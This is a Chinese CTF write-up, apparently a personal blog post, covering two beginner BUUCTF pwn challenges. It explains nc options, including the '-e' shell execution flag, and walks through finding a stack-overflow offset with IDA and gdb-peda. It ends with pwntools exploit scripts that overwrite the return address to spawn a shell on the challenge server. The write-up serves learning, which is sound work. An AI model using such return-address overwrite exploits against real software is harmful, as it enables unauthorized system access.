Loading

记录打pwn的第一天

buuctf_pwn

1.24

pwn学习之路引入 栈溢出引入

0x01 :test_your_n

题目:

exp:

【注】 nc命令详解

-c shell命令为“-e”;使用/bin/sh来执行 [危险]

-e 文件名程序在连接后执行 [危险]-b 允许广播
-g 网关源路由跃点,最多8个
-G num源路由指针:4,8,12。。。
-i secs 发送的线路和扫描的端口的延迟间隔为1秒

-k 在套接字上设置keepalive选项
-l 监听模式,用于入站连接
-n 仅数字IP地址,无DNS

-o 文件十六进制流量转储
-p 端口本地端口号
-r 随机化本地和远程端口
-q secs 在stdin上的EOF和秒延迟后q秒退出

-s addr地址本地源地址-T tos 设置服务类型
-t 应答TELNET协商-u UDP模式
-v verbose(使用两次可更详细)-w 秒连接和最终网络读取超时
-C 发送CRLF作为行尾
-z 零I/O模式(用于扫描)

连接靶场后,执行 ls 命令,展示该靶场下目录文件。注意到目录下有个 flag文件 使用 cat命令进行查看。cat flag

跟着另一位大佬的思路:

linux安装IDA

先是程序分析:64位程序,没有开启任何保护。打开IDA,查看一下源代码

程序分析:main函数中只存在system("/bin/sh")函数,所以nc可直接拿到权限。

nc ip port

0x02 :rip

1.利用file/checksec命令查看文件

下载得到 pwn1,利用 file 命令查看。

或者可以采用 checksec --file=pwn1 命令进行探测。//查看当前二进制文件的指令架构以及采取了哪些保护机制。

具体参考linux中国的这篇文章

2.IDA查看附件

显而易见(ELF 64-bit)。放入IDA中查看。

首先 f12+shift 转到字符串窗口。发现 gets system /bin/sh (存在漏洞)

please input 进行数据块跳转。按下f5 查看伪代码:

代码分析:函数很简单,就一个puts函数输出,然后gets函数输入到s当中,用puts函数输出出来。

程序关键:存在gets函数,由于存在两个参数,准确来说是gets_s函数。

gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。

gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。但是可以发现buffer就只有0xF字节的大小,输入超过0xF个字节以后,就会溢出,会覆盖返回地址。所以如果先填充字节,然后修改掉返回地址就可以调转到想要跳转的地方。

双击 s ,查看需要多少字节 。以此来确定偏移量。

15个字节,也就是说只需要存入15个字节地址,就可以get函数返回地址。

存在溢出条件,接下来就是要找后门函数地址了。(为什么/bin/sh在前面,因为64位先传参数,其次找函数的地址就是找system函数以及它的参数)

也就是说只需要存入15个字节地址,就可以get函数返回地址。

注意到 后面还有 db 8 dup(?)
db: 定义字节类型变量的伪指令
dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定

?: 只分配存储空间,不指定初值

因此 最后偏移量为 : 15+8 = 23 。

当然也可以通过 peda 来计算偏移量。

① gdb中 peda插件安装

git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit 

②对其进行gdb调试:

gdb pwn1 

img

③ 生成溢出字符,需保证其长度能覆盖至RIP。执行 pattern create 200 命令

gdb-peda$ pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' 

④ 执行 r 或者 start 命令让程序运行。//注意 start 命令执行后,还需执行 contin 命令。

please input 命令后,将之前生成的溢出字符串粘贴上去。

gdb-peda$ contin Continuing. please input AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA ok,bye!!! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x6f ('o') RDX: 0x0 RSI: 0x4052a0 ("ok,bye!!!\nAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) RDI: 0x7fffff791670 --> 0x0 RBP: 0x412d41414341416e ('nAACAA-A') 

注意到 RBP寄存器。也可以计算此时 nAACAA-A 的偏移量:

执行 pattern offset xxxxxx 命令。

pattern offset nAACAA-A 

img

这里计算出的偏移量。不需要考虑堆栈平衡。构造playload时,直接与系统调用地址相加就可。

√ 通俗办法:

找到 stack 复制栈顶的字符串 // 前四个字节(64 bits为前8个字节) 计算偏移量

[------------------------------------stack-------------------------------------] 0000| 0x7fffffffe1a8 ("A(AADAA;AA)AAEAAaAA0AAFAAbA") 0008| 0x7fffffffe1b0 ("AA)AAEAAaAA0AAFAAbA") 0016| 0x7fffffffe1b8 ("aAA0AAFAAbA") 0024| 0x7fffffffe1c0 --> 0x100416241  0032| 0x7fffffffe1c8 --> 0x401142 (<main>:	push   rbp) 0040| 0x7fffffffe1d0 --> 0x0  0048| 0x7fffffffe1d8 --> 0x3777803596990da  0056| 0x7fffffffe1e0 --> 0x401060 (<_start>:	xor    ebp,ebp) [------------------------------------------------------------------------------] 

执行 pattern offset xxxxxx 命令。

pattern offset A(AADAA;AA)AAEAAaAA0AAFAAbA 

img

得到偏移量 23

回到 IDA pro中。寻找是否存在 系统调用函数。

找到 fun() 函数

发现system(“/bin/sh")函数地址,查看得到 地址为 0x401186。只要我们能控制程序返回到0x40118A,就可以得到系统的shell了

做题思路总结:
利用gets_s函数的不限制输入的多少,先填充字节,然后将返回地址修改为自己想要跳转的地址,即可获得flag。

3.exp

exp1:

exp编写步骤:
from pwn import * #引入pwn库
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.interactive() # 反弹shell

因此,编写对应 exp:

from pwn import *		#调用pwntools库

p = remote('node4.buuoj.cn', 29805)		#远程连接
payload = b'a' * 23 + p64(0x401186 + 1)		#偏移量 15+8 = 23 利用漏洞
p.sendline(payload)			#发送漏洞

p.interactive()		#远程交互

+1 是为了保证堆栈平衡。对于payload :

payload = b'a' * 23 + p64(0x401186) + p64(0x401185) #多加的这部分任意找ret语句 都可以
exp2:
from pwn import *

p = remote('node4.buuoj.cn', 29805)
payload = b'a' * 15 + p64(0x401186) 
p.sendline(payload)

p.interactive()

注意: 上述 payload中 'a' 可以替换成任意字母。

'a' 前面的 b是为了防止python3运行时出现以下错误。 // python2无事。

TypeError: can only concatenate str (not "bytes") to str

python pwn1.py
ls
cat flag
posted @ 2023-01-24 22:17  vconlln  阅读(82)  评论(0编辑  收藏  举报